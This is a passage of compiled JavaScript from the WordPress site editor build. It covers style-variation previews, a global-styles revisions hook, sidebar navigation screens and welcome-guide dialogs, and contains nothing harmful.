20920 Object.keys(userStyles.blocks).forEach((blockName) => {
20921 if (userStyles.blocks?.[blockName]?.css) {
20922 const variationBlockStyles = blockStyles[blockName] || {};
20923 const customCSS = {
20924 css: `${blockStyles[blockName]?.css || ""} ${userStyles.blocks?.[blockName]?.css?.trim() || ""}`
20925 };
20926 blockStyles[blockName] = {
20927 ...variationBlockStyles,
20928 ...customCSS
20929 };
20930 }
20931 });
20932 }
20933 const css = userStyles?.css || variation.styles?.css ? {
20934 css: `${variation.styles?.css || ""} ${userStyles?.css || ""}`
20935 } : {};
20936 const blocks = Object.keys(blockStyles).length > 0 ? { blocks: blockStyles } : {};
20937 const styles = {
20938 ...variation.styles,
20939 ...css,
20940 ...blocks
20941 };
20942 return {
20943 ...variation,
20944 settings: variation.settings ?? {},
20945 styles
20946 };
20947 })
20948 ];
20949 }, [fullStyleVariations, userStyles?.blocks, userStyles?.css]);
20950 if (!fullStyleVariations || fullStyleVariations.length < 1) {
20951 return null;
20952 }
20953 return /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(
20954 import_components58.__experimentalGrid,
20955 {
20956 columns: 2,
20957 className: "global-styles-ui-style-variations-container",
20958 gap,
20959 children: themeVariations.map(
20960 (variation, index) => /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(Variation, { variation, children: (isFocused) => /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(
20961 preview_styles_default,
20962 {
20963 label: variation?.title,
20964 withHoverView: true,
20965 isFocused,
20966 variation
20967 }
20968 ) }, index)
20969 )
20970 }
20971 );
20972 }
20973 var style_variations_container_default = StyleVariationsContainer;
20974
20975 // packages/global-styles-ui/build-module/style-variations-content.mjs
20976 var import_jsx_runtime136 = __toESM(require_jsx_runtime(), 1);
20977
20978 // packages/global-styles-ui/build-module/screen-style-variations.mjs
20979 var import_jsx_runtime137 = __toESM(require_jsx_runtime(), 1);
20980
20981 // packages/global-styles-ui/build-module/screen-css.mjs
20982 var import_i18n47 = __toESM(require_i18n(), 1);
20983 var import_components61 = __toESM(require_components(), 1);
20984 var import_block_editor14 = __toESM(require_block_editor(), 1);
20985 var import_jsx_runtime138 = __toESM(require_jsx_runtime(), 1);
20986 var { AdvancedPanel: StylesAdvancedPanel2 } = unlock2(import_block_editor14.privateApis);
20987
20988 // packages/global-styles-ui/build-module/screen-revisions/index.mjs
20989 var import_i18n50 = __toESM(require_i18n(), 1);
20990 var import_components64 = __toESM(require_components(), 1);
20991 var import_element44 = __toESM(require_element(), 1);
20992
20993 // packages/global-styles-ui/build-module/screen-revisions/use-global-styles-revisions.mjs
20994 var import_data27 = __toESM(require_data(), 1);
20995 var import_core_data23 = __toESM(require_core_data(), 1);
20996 var import_element43 = __toESM(require_element(), 1);
20997 var SITE_EDITOR_AUTHORS_QUERY = {
20998 per_page: -1,
20999 _fields: "id,name,avatar_urls",
21000 context: "view",
21001 capabilities: ["edit_theme_options"]
21002 };
21003 var DEFAULT_QUERY = { per_page: 100, page: 1 };
21004 var EMPTY_ARRAY4 = [];
21005 function useGlobalStylesRevisions({
21006 query
21007 } = {}) {
21008 const { user: userConfig } = (0, import_element43.useContext)(GlobalStylesContext);
21009 const _query = (0, import_element43.useMemo)(
21010 () => ({ ...DEFAULT_QUERY, ...query }),
21011 [query]
21012 );
21013 const {
21014 authors,
21015 currentUser,
21016 isDirty,
21017 revisions,
21018 isLoadingGlobalStylesRevisions,
21019 revisionsCount
21020 } = (0, import_data27.useSelect)(
21021 (select3) => {
21022 const {
21023 __experimentalGetDirtyEntityRecords,
21024 getCurrentUser,
21025 getUsers,
21026 getRevisions,
21027 __experimentalGetCurrentGlobalStylesId,
21028 getEntityRecord,
21029 // @ts-expect-error
21030 isResolving
21031 } = select3(import_core_data23.store);
21032 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords() || [];
21033 const _currentUser = getCurrentUser();
21034 const _isDirty = dirtyEntityRecords.length > 0;
21035 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
21036 const globalStyles = globalStylesId ? getEntityRecord(
21037 "root",
21038 "globalStyles",
21039 globalStylesId
21040 ) : void 0;
21041 const _revisionsCount = (
21042 // @ts-expect-error - _links is not typed in GlobalStylesRevision
21043 globalStyles?._links?.["version-history"]?.[0]?.count ?? 0
21044 );
21045 const globalStylesRevisions = globalStylesId ? getRevisions(
21046 "root",
21047 "globalStyles",
21048 globalStylesId,
21049 _query
21050 ) || EMPTY_ARRAY4 : EMPTY_ARRAY4;
21051 const _authors = getUsers(SITE_EDITOR_AUTHORS_QUERY) || EMPTY_ARRAY4;
21052 const _isResolving = globalStylesId ? isResolving("getRevisions", [
21053 "root",
21054 "globalStyles",
21055 globalStylesId,
21056 _query
21057 ]) : false;
21058 return {
21059 authors: _authors,
21060 currentUser: _currentUser,
21061 isDirty: _isDirty,
21062 revisions: globalStylesRevisions,
21063 isLoadingGlobalStylesRevisions: _isResolving,
21064 revisionsCount: _revisionsCount
21065 };
21066 },
21067 [_query]
21068 );
21069 return (0, import_element43.useMemo)(() => {
21070 if (!authors.length || isLoadingGlobalStylesRevisions) {
21071 return {
21072 revisions: EMPTY_ARRAY4,
21073 hasUnsavedChanges: isDirty,
21074 isLoading: true,
21075 revisionsCount
21076 };
21077 }
21078 const _modifiedRevisions = revisions.map((revision) => {
21079 return {
21080 ...revision,
21081 author: authors.find(
21082 (author) => author.id === revision.author
21083 )
21084 };
21085 });
21086 const fetchedRevisionsCount = revisions.length;
21087 if (fetchedRevisionsCount) {
21088 if (_modifiedRevisions[0].id !== "unsaved" && _query.page === 1) {
21089 _modifiedRevisions[0].isLatest = true;
21090 }
21091 if (isDirty && userConfig && Object.keys(userConfig).length > 0 && currentUser && _query.page === 1) {
21092 const unsavedRevision = {
21093 id: "unsaved",
21094 styles: userConfig?.styles,
21095 settings: userConfig?.settings,
21096 _links: userConfig?._links,
21097 author: {
21098 name: currentUser?.name || "",
21099 // @ts-expect-error - avatar_urls is not typed in User
21100 avatar_urls: currentUser?.avatar_urls || {}
21101 },
21102 modified: /* @__PURE__ */ new Date()
21103 };
21104 _modifiedRevisions.unshift(unsavedRevision);
21105 }
21106 if (_query.per_page && _query.page === Math.ceil(revisionsCount / _query.per_page)) {
21107 _modifiedRevisions.push({
21108 id: "parent",
21109 styles: {},
21110 settings: {}
21111 });
21112 }
21113 }
21114 return {
21115 revisions: _modifiedRevisions,
21116 hasUnsavedChanges: isDirty,
21117 isLoading: false,
21118 revisionsCount
21119 };
21120 }, [
21121 isDirty,
21122 revisions,
21123 currentUser,
21124 authors,
21125 userConfig,
21126 isLoadingGlobalStylesRevisions,
21127 revisionsCount,
21128 _query.page,
21129 _query.per_page
21130 ]);
21131 }
21132
21133 // packages/global-styles-ui/build-module/screen-revisions/revisions-buttons.mjs
21134 var import_i18n48 = __toESM(require_i18n(), 1);
21135 var import_components62 = __toESM(require_components(), 1);
21136 var import_date = __toESM(require_date(), 1);
21137 var import_core_data24 = __toESM(require_core_data(), 1);
21138 var import_data28 = __toESM(require_data(), 1);
21139 var import_keycodes4 = __toESM(require_keycodes(), 1);
21140 var import_jsx_runtime139 = __toESM(require_jsx_runtime(), 1);
21141 var DAY_IN_MILLISECONDS = 60 * 60 * 1e3 * 24;
21142
21143 // packages/global-styles-ui/build-module/pagination/index.mjs
21144 var import_components63 = __toESM(require_components(), 1);
21145 var import_i18n49 = __toESM(require_i18n(), 1);
21146 var import_jsx_runtime140 = __toESM(require_jsx_runtime(), 1);
21147
21148 // packages/global-styles-ui/build-module/screen-revisions/index.mjs
21149 var import_jsx_runtime141 = __toESM(require_jsx_runtime(), 1);
21150
21151 // packages/global-styles-ui/build-module/font-sizes/font-sizes.mjs
21152 var import_i18n52 = __toESM(require_i18n(), 1);
21153 var import_components66 = __toESM(require_components(), 1);
21154 var import_element45 = __toESM(require_element(), 1);
21155
21156 // packages/global-styles-ui/build-module/font-sizes/confirm-reset-font-sizes-dialog.mjs
21157 var import_components65 = __toESM(require_components(), 1);
21158 var import_i18n51 = __toESM(require_i18n(), 1);
21159 var import_jsx_runtime142 = __toESM(require_jsx_runtime(), 1);
21160
21161 // packages/global-styles-ui/build-module/font-sizes/font-sizes.mjs
21162 var import_jsx_runtime143 = __toESM(require_jsx_runtime(), 1);
21163 var { Menu: Menu3 } = unlock2(import_components66.privateApis);
21164
21165 // packages/global-styles-ui/build-module/font-sizes/font-size.mjs
21166 var import_i18n56 = __toESM(require_i18n(), 1);
21167 var import_components70 = __toESM(require_components(), 1);
21168 var import_element47 = __toESM(require_element(), 1);
21169
21170 // packages/global-styles-ui/build-module/font-sizes/font-size-preview.mjs
21171 var import_block_editor15 = __toESM(require_block_editor(), 1);
21172 var import_i18n53 = __toESM(require_i18n(), 1);
21173 var import_jsx_runtime144 = __toESM(require_jsx_runtime(), 1);
21174
21175 // packages/global-styles-ui/build-module/font-sizes/confirm-delete-font-size-dialog.mjs
21176 var import_components67 = __toESM(require_components(), 1);
21177 var import_i18n54 = __toESM(require_i18n(), 1);
21178 var import_jsx_runtime145 = __toESM(require_jsx_runtime(), 1);
21179
21180 // packages/global-styles-ui/build-module/font-sizes/rename-font-size-dialog.mjs
21181 var import_components68 = __toESM(require_components(), 1);
21182 var import_i18n55 = __toESM(require_i18n(), 1);
21183 var import_element46 = __toESM(require_element(), 1);
21184 var import_jsx_runtime146 = __toESM(require_jsx_runtime(), 1);
21185
21186 // packages/global-styles-ui/build-module/size-control/index.mjs
21187 var import_components69 = __toESM(require_components(), 1);
21188 var import_jsx_runtime147 = __toESM(require_jsx_runtime(), 1);
21189
21190 // packages/global-styles-ui/build-module/font-sizes/font-size.mjs
21191 var import_jsx_runtime148 = __toESM(require_jsx_runtime(), 1);
21192 var { Menu: Menu4 } = unlock2(import_components70.privateApis);
21193
21194 // packages/global-styles-ui/build-module/global-styles-ui.mjs
21195 var import_jsx_runtime149 = __toESM(require_jsx_runtime(), 1);
21196
21197 // packages/global-styles-ui/build-module/with-global-styles-provider.mjs
21198 var import_jsx_runtime150 = __toESM(require_jsx_runtime(), 1);
21199 function withGlobalStylesProvider(Component) {
21200 return function WrappedComponent({
21201 value,
21202 baseValue,
21203 onChange,
21204 ...props
21205 }) {
21206 return /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(
21207 GlobalStylesProvider,
21208 {
21209 value,
21210 baseValue,
21211 onChange,
21212 children: /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(Component, { ...props })
21213 }
21214 );
21215 };
21216 }
21217
21218 // packages/global-styles-ui/build-module/style-variations.mjs
21219 var StyleVariations = withGlobalStylesProvider(style_variations_container_default);
21220
21221 // packages/global-styles-ui/build-module/color-variations.mjs
21222 var ColorVariations2 = withGlobalStylesProvider(ColorVariations);
21223
21224 // packages/global-styles-ui/build-module/typography-variations.mjs
21225 var TypographyVariations2 = withGlobalStylesProvider(TypographyVariations);
21226
21227 // packages/global-styles-ui/build-module/font-library/font-library.mjs
21228 var import_jsx_runtime151 = __toESM(require_jsx_runtime(), 1);
21229
21230 // packages/edit-site/build-module/components/sidebar-navigation-screen-details-footer/index.mjs
21231 var import_i18n57 = __toESM(require_i18n(), 1);
21232 var import_url6 = __toESM(require_url(), 1);
21233 var import_components72 = __toESM(require_components(), 1);
21234 var import_jsx_runtime152 = __toESM(require_jsx_runtime(), 1);
21235 function SidebarNavigationScreenDetailsFooter({
21236 record,
21237 revisionsCount,
21238 ...otherProps
21239 }) {
21240 const hrefProps = {};
21241 const lastRevisionId = record?._links?.["predecessor-version"]?.[0]?.id ?? null;
21242 revisionsCount = revisionsCount || record?._links?.["version-history"]?.[0]?.count || 0;
21243 if (lastRevisionId && revisionsCount > 1) {
21244 hrefProps.href = (0, import_url6.addQueryArgs)("revision.php", {
21245 revision: record?._links["predecessor-version"][0].id
21246 });
21247 hrefProps.as = "a";
21248 }
21249 return /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(
21250 import_components72.__experimentalItemGroup,
21251 {
21252 size: "large",
21253 className: "edit-site-sidebar-navigation-screen-details-footer",
21254 children: /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(
21255 SidebarNavigationItem,
21256 {
21257 icon: backup_default,
21258 ...hrefProps,
21259 ...otherProps,
21260 children: (0, import_i18n57.sprintf)(
21261 /* translators: %d: Number of Styles revisions. */
21262 (0, import_i18n57._n)("%d Revision", "%d Revisions", revisionsCount),
21263 revisionsCount
21264 )
21265 }
21266 )
21267 }
21268 );
21269 }
21270
21271 // packages/edit-site/build-module/components/sidebar-navigation-screen-global-styles/index.mjs
21272 var import_jsx_runtime153 = __toESM(require_jsx_runtime(), 1);
21273 var { useLocation: useLocation10, useHistory: useHistory7 } = unlock(import_router11.privateApis);
21274 function SidebarNavigationItemGlobalStyles(props) {
21275 const { name: name2 } = useLocation10();
21276 return /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(
21277 SidebarNavigationItem,
21278 {
21279 ...props,
21280 "aria-current": name2 === "styles"
21281 }
21282 );
21283 }
21284 function SidebarNavigationScreenGlobalStyles() {
21285 const history = useHistory7();
21286 const { path } = useLocation10();
21287 const {
21288 revisions,
21289 isLoading: isLoadingRevisions,
21290 revisionsCount
21291 } = useGlobalStylesRevisions();
21292 const { openGeneralSidebar: openGeneralSidebar2 } = (0, import_data30.useDispatch)(store);
21293 const { setStylesPath } = unlock((0, import_data30.useDispatch)(import_editor8.store));
21294 const { set: setPreference } = (0, import_data30.useDispatch)(import_preferences5.store);
21295 const openGlobalStyles = (0, import_element49.useCallback)(async () => {
21296 history.navigate((0, import_url7.addQueryArgs)(path, { canvas: "edit" }), {
21297 transition: "canvas-mode-edit-transition"
21298 });
21299 return Promise.all([
21300 setPreference("core", "distractionFree", false),
21301 openGeneralSidebar2("edit-site/global-styles")
21302 ]);
21303 }, [path, history, openGeneralSidebar2, setPreference]);
21304 const openRevisions = (0, import_element49.useCallback)(async () => {
21305 await openGlobalStyles();
21306 setStylesPath("/revisions");
21307 }, [openGlobalStyles, setStylesPath]);
21308 const shouldShowGlobalStylesFooter = !!revisionsCount && !isLoadingRevisions;
21309 return /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(import_jsx_runtime153.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(
21310 SidebarNavigationScreen,
21311 {
21312 title: (0, import_i18n58.__)("Design"),
21313 isRoot: true,
21314 description: (0, import_i18n58.__)(
21315 "Customize the appearance of your website using the block editor."
21316 ),
21317 content: /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(MainSidebarNavigationContent, { activeItem: "styles-navigation-item" }),
21318 footer: shouldShowGlobalStylesFooter && /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(
21319 SidebarNavigationScreenDetailsFooter,
21320 {
21321 record: revisions?.[0],
21322 revisionsCount,
21323 onClick: openRevisions
21324 }
21325 )
21326 }
21327 ) });
21328 }
21329
21330 // packages/edit-site/build-module/components/sidebar-navigation-screen-main/index.mjs
21331 var import_jsx_runtime154 = __toESM(require_jsx_runtime(), 1);
21332 function MainSidebarNavigationContent({ isBlockBasedTheme = true }) {
21333 return /* @__PURE__ */ (0, import_jsx_runtime154.jsxs)(import_components73.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-main", children: [
21334 isBlockBasedTheme && /* @__PURE__ */ (0, import_jsx_runtime154.jsxs)(import_jsx_runtime154.Fragment, { children: [
21335 /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21336 SidebarNavigationItemGlobalStyles,
21337 {
21338 to: "/styles",
21339 uid: "global-styles-navigation-item",
21340 icon: styles_default,
21341 children: (0, import_i18n59.__)("Styles")
21342 }
21343 ),
21344 /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21345 SidebarNavigationItem,
21346 {
21347 uid: "navigation-navigation-item",
21348 to: "/navigation",
21349 withChevron: true,
21350 icon: navigation_default,
21351 children: (0, import_i18n59.__)("Navigation")
21352 }
21353 ),
21354 /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21355 SidebarNavigationItem,
21356 {
21357 uid: "page-navigation-item",
21358 to: "/page",
21359 withChevron: true,
21360 icon: page_default,
21361 children: (0, import_i18n59.__)("Pages")
21362 }
21363 ),
21364 /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21365 SidebarNavigationItem,
21366 {
21367 uid: "template-navigation-item",
21368 to: "/template",
21369 withChevron: true,
21370 icon: layout_default,
21371 children: (0, import_i18n59.__)("Templates")
21372 }
21373 )
21374 ] }),
21375 !isBlockBasedTheme && /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21376 SidebarNavigationItem,
21377 {
21378 uid: "stylebook-navigation-item",
21379 to: "/stylebook",
21380 withChevron: true,
21381 icon: styles_default,
21382 children: (0, import_i18n59.__)("Styles")
21383 }
21384 ),
21385 /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21386 SidebarNavigationItem,
21387 {
21388 uid: "patterns-navigation-item",
21389 to: "/pattern",
21390 withChevron: true,
21391 icon: symbol_default,
21392 children: (0, import_i18n59.__)("Patterns")
21393 }
21394 )
21395 ] });
21396 }
21397 function SidebarNavigationScreenMain({ customDescription }) {
21398 const isBlockBasedTheme = (0, import_data31.useSelect)(
21399 (select3) => select3(import_core_data25.store).getCurrentTheme()?.is_block_theme,
21400 []
21401 );
21402 let description;
21403 if (customDescription) {
21404 description = customDescription;
21405 } else if (isBlockBasedTheme) {
21406 description = (0, import_i18n59.__)(
21407 "Customize the appearance of your website using the block editor."
21408 );
21409 } else {
21410 description = (0, import_i18n59.__)(
21411 "Explore block styles and patterns to refine your site."
21412 );
21413 }
21414 return /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21415 SidebarNavigationScreen,
21416 {
21417 isRoot: true,
21418 title: (0, import_i18n59.__)("Design"),
21419 description,
21420 content: /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(
21421 MainSidebarNavigationContent,
21422 {
21423 isBlockBasedTheme
21424 }
21425 )
21426 }
21427 );
21428 }
21429
21430 // packages/edit-site/build-module/components/sidebar-navigation-screen-unsupported/index.mjs
21431 var import_i18n60 = __toESM(require_i18n(), 1);
21432 var import_components74 = __toESM(require_components(), 1);
21433 var import_jsx_runtime155 = __toESM(require_jsx_runtime(), 1);
21434 function SidebarNavigationScreenUnsupported() {
21435 return /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(import_components74.__experimentalSpacer, { padding: 3, children: /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(import_components74.Notice, { status: "warning", isDismissible: false, children: (0, import_i18n60.__)(
21436 "The theme you are currently using does not support this screen."
21437 ) }) });
21438 }
21439
21440 // packages/edit-site/build-module/components/editor/index.mjs
21441 var import_data48 = __toESM(require_data(), 1);
21442 var import_components82 = __toESM(require_components(), 1);
21443 var import_compose10 = __toESM(require_compose(), 1);
21444 var import_editor20 = __toESM(require_editor(), 1);
21445 var import_i18n70 = __toESM(require_i18n(), 1);
21446 var import_core_data34 = __toESM(require_core_data(), 1);
21447 var import_block_library = __toESM(require_block_library(), 1);
21448 var import_element58 = __toESM(require_element(), 1);
21449 var import_notices3 = __toESM(require_notices(), 1);
21450 var import_router18 = __toESM(require_router(), 1);
21451 var import_html_entities4 = __toESM(require_html_entities(), 1);
21452 var import_block_editor18 = __toESM(require_block_editor(), 1);
21453 var import_url11 = __toESM(require_url(), 1);
21454
21455 // packages/edit-site/build-module/components/welcome-guide/editor.mjs
21456 var import_data32 = __toESM(require_data(), 1);
21457 var import_components75 = __toESM(require_components(), 1);
21458 var import_i18n61 = __toESM(require_i18n(), 1);
21459 var import_element50 = __toESM(require_element(), 1);
21460 var import_preferences6 = __toESM(require_preferences(), 1);
21461 var import_core_data26 = __toESM(require_core_data(), 1);
21462
21463 // packages/edit-site/build-module/components/welcome-guide/image.mjs
21464 var import_jsx_runtime156 = __toESM(require_jsx_runtime(), 1);
21465 function WelcomeGuideImage({ nonAnimatedSrc, animatedSrc }) {
21466 return /* @__PURE__ */ (0, import_jsx_runtime156.jsxs)("picture", { className: "edit-site-welcome-guide__image", children: [
21467 /* @__PURE__ */ (0, import_jsx_runtime156.jsx)(
21468 "source",
21469 {
21470 srcSet: nonAnimatedSrc,
21471 media: "(prefers-reduced-motion: reduce)"
21472 }
21473 ),
21474 /* @__PURE__ */ (0, import_jsx_runtime156.jsx)("img", { src: animatedSrc, width: "312", height: "240", alt: "" })
21475 ] });
21476 }
21477
21478 // packages/edit-site/build-module/components/welcome-guide/editor.mjs
21479 var import_jsx_runtime157 = __toESM(require_jsx_runtime(), 1);
21480 function WelcomeGuideEditor() {
21481 const { toggle } = (0, import_data32.useDispatch)(import_preferences6.store);
21482 const { isActive, isBlockBasedTheme } = (0, import_data32.useSelect)((select3) => {
21483 return {
21484 isActive: !!select3(import_preferences6.store).get(
21485 "core/edit-site",
21486 "welcomeGuide"
21487 ),
21488 isBlockBasedTheme: select3(import_core_data26.store).getCurrentTheme()?.is_block_theme
21489 };
21490 }, []);
21491 if (!isActive || !isBlockBasedTheme) {
21492 return null;
21493 }
21494 return /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
21495 import_components75.Guide,
21496 {
21497 className: "edit-site-welcome-guide guide-editor",
21498 contentLabel: (0, import_i18n61.__)("Welcome to the site editor"),
21499 finishButtonText: (0, import_i18n61.__)("Get started"),
21500 onFinish: () => toggle("core/edit-site", "welcomeGuide"),
21501 pages: [
21502 {
21503 image: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
21504 WelcomeGuideImage,
21505 {
21506 nonAnimatedSrc: "https://s.w.org/images/block-editor/edit-your-site.svg?1",
21507 animatedSrc: "https://s.w.org/images/block-editor/edit-your-site.gif?1"
21508 }
21509 ),
21510 content: /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(import_jsx_runtime157.Fragment, { children: [
21511 /* @__PURE__ */ (0, import_jsx_runtime157.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: (0, import_i18n61.__)("Edit your site") }),
21512 /* @__PURE__ */ (0, import_jsx_runtime157.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0, import_i18n61.__)(
21513 "Design everything on your site \u2014 from the header right down to the footer \u2014 using blocks."
21514 ) }),
21515 /* @__PURE__ */ (0, import_jsx_runtime157.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0, import_element50.createInterpolateElement)(
21516 (0, import_i18n61.__)(
21517 "Click <StylesIconImage /> to start designing your blocks, and choose your typography, layout, and colors."
21518 ),
21519 {
21520 StylesIconImage: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
21521 "img",
21522 {
21523 alt: (0, import_i18n61.__)("styles"),
21524 src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' fill='%231E1E1E'/%3E%3C/svg%3E%0A"
21525 }
21526 )
21527 }
21528 ) })
21529 ] })
21530 }
21531 ]
21532 }
21533 );
21534 }
21535
21536 // packages/edit-site/build-module/components/welcome-guide/page.mjs
21537 var import_data33 = __toESM(require_data(), 1);
21538 var import_components76 = __toESM(require_components(), 1);
21539 var import_i18n62 = __toESM(require_i18n(), 1);
21540 var import_preferences7 = __toESM(require_preferences(), 1);
21541 var import_jsx_runtime158 = __toESM(require_jsx_runtime(), 1);
21542 function WelcomeGuidePage() {
21543 const { toggle } = (0, import_data33.useDispatch)(import_preferences7.store);
21544 const isVisible2 = (0, import_data33.useSelect)((select3) => {
21545 const isPageActive = !!select3(import_preferences7.store).get(
21546 "core/edit-site",
21547 "welcomeGuidePage"
21548 );
21549 const isEditorActive = !!select3(import_preferences7.store).get(
21550 "core/edit-site",
21551 "welcomeGuide"
21552 );
21553 return isPageActive && !isEditorActive;
21554 }, []);
21555 if (!isVisible2) {
21556 return null;
21557 }
21558 const heading = (0, import_i18n62.__)("Editing a page");
21559 return /* @__PURE__ */ (0, import_jsx_runtime158.jsx)(
21560 import_components76.Guide,
21561 {
21562 className: "edit-site-welcome-guide guide-page",
21563 contentLabel: heading,
21564 finishButtonText: (0, import_i18n62.__)("Continue"),
21565 onFinish: () => toggle("core/edit-site", "welcomeGuidePage"),
21566 pages: [
21567 {
21568 image: /* @__PURE__ */ (0, import_jsx_runtime158.jsx)(
21569 "video",
21570 {
21571 className: "edit-site-welcome-guide__video",
21572 autoPlay: true,
21573 loop: true,
21574 muted: true,
21575 width: "312",
21576 height: "240",
21577 children: /* @__PURE__ */ (0, import_jsx_runtime158.jsx)(
21578 "source",
21579 {
21580 src: "https://s.w.org/images/block-editor/editing-your-page.mp4",
21581 type: "video/mp4"
21582 }
21583 )
21584 }
21585 ),
21586 content: /* @__PURE__ */ (0, import_jsx_runtime158.jsxs)(import_jsx_runtime158.Fragment, { children: [
21587 /* @__PURE__ */ (0, import_jsx_runtime158.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: heading }),
21588 /* @__PURE__ */ (0, import_jsx_runtime158.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0, import_i18n62.__)(
21589 // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
21590 "It\u2019s now possible to edit page content in the site editor. To customise other parts of the page like the header and footer switch to editing the template using the settings sidebar."
21591 ) })
21592 ] })
21593 }
21594 ]
21595 }
21596 );
21597 }
21598
21599 // packages/edit-site/build-module/components/welcome-guide/template.mjs
21600 var import_data34 = __toESM(require_data(), 1);
21601 var import_components77 = __toESM(require_components(), 1);
21602 var import_i18n63 = __toESM(require_i18n(), 1);
21603 var import_preferences8 = __toESM(require_preferences(), 1);
21604 var import_editor9 = __toESM(require_editor(), 1);
21605 var import_jsx_runtime159 = __toESM(require_jsx_runtime(), 1);
21606 function WelcomeGuideTemplate() {
21607 const { toggle } = (0, import_data34.useDispatch)(import_preferences8.store);
21608 const { isActive, hasPreviousEntity } = (0, import_data34.useSelect)((select3) => {
21609 const { getEditorSettings } = select3(import_editor9.store);
21610 const { get } = select3(import_preferences8.store);
21611 return {
21612 isActive: get("core/edit-site", "welcomeGuideTemplate"),
21613 hasPreviousEntity: !!getEditorSettings().onNavigateToPreviousEntityRecord
21614 };
21615 }, []);
21616 const isVisible2 = isActive && hasPreviousEntity;
21617 if (!isVisible2) {
21618 return null;
21619 }
21620 const heading = (0, import_i18n63.__)("Editing a template");
21621 return /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
21622 import_components77.Guide,
21623 {
21624 className: "edit-site-welcome-guide guide-template",
21625 contentLabel: heading,
21626 finishButtonText: (0, import_i18n63.__)("Continue"),
21627 onFinish: () => toggle("core/edit-site", "welcomeGuideTemplate"),
21628 pages: [
21629 {
21630 image: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
21631 "video",
21632 {
21633 className: "edit-site-welcome-guide__video",
21634 autoPlay: true,
21635 loop: true,
21636 muted: true,
21637 width: "312",
21638 height: "240",
21639 children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
21640 "source",
21641 {
21642 src: "https://s.w.org/images/block-editor/editing-your-template.mp4",
21643 type: "video/mp4"
21644 }
21645 )
21646 }
21647 ),
21648 content: /* @__PURE__ */ (0, import_jsx_runtime159.jsxs)(import_jsx_runtime159.Fragment, { children: [
21649 /* @__PURE__ */ (0, import_jsx_runtime159.jsx)("h1", { className: "edit-site-welcome-guide__heading", children: heading }),
21650 /* @__PURE__ */ (0, import_jsx_runtime159.jsx)("p", { className: "edit-site-welcome-guide__text", children: (0, import_i18n63.__)(
21651 "Note that the same template can be used by multiple pages, so any changes made here may affect other pages on the site. To switch back to editing the page content click the \u2018Back\u2019 button in the toolbar."
21652 ) })
21653 ] })
21654 }
21655 ]
21656 }
21657 );
21658 }
21659
21660 // packages/edit-site/build-module/components/welcome-guide/index.mjs
21661 var import_jsx_runtime160 = __toESM(require_jsx_runtime(), 1);
21662 function WelcomeGuide({ postType: postType2 }) {
21663 return /* @__PURE__ */ (0, import_jsx_runtime160.jsxs)(import_jsx_runtime160.Fragment, { children: [
21664 /* @__PURE__ */ (0, import_jsx_runtime160.jsx)(WelcomeGuideEditor, {}),
21665 postType2 === "page" && /* @__PURE__ */ (0, import_jsx_runtime160.jsx)(WelcomeGuidePage, {}),
21666 postType2 === "wp_template" && /* @__PURE__ */ (0, import_jsx_runtime160.jsx)(WelcomeGuideTemplate, {})
21667 ] });
21668 }
21669
21670 // packages/edit-site/build-module/components/canvas-loader/index.mjs
21671 var import_components78 = __toESM(require_components(), 1);
21672 var import_core_data27 = __toESM(require_core_data(), 1);
21673 var import_data35 = __toESM(require_data(), 1);
21674 var import_editor11 = __toESM(require_editor(), 1);
21675 var import_jsx_runtime161 = __toESM(require_jsx_runtime(), 1);
21676 var { Theme } = unlock(import_components78.privateApis);
21677 var { useStyle: useStyle3 } = unlock(import_editor11.privateApis);
21678 function CanvasLoader({ id }) {
21679 const textColor = useStyle3("color.text");
21680 const backgroundColor = useStyle3("color.background");
21681 const { elapsed, total } = (0, import_data35.useSelect)((select3) => {
21682 const selectorsByStatus = select3(import_core_data27.store).countSelectorsByStatus();
21683 const resolving = selectorsByStatus.resolving ?? 0;
21684 const finished = selectorsByStatus.finished ?? 0;
21685 return {
21686 elapsed: finished,
21687 total: finished + resolving
21688 };
21689 }, []);
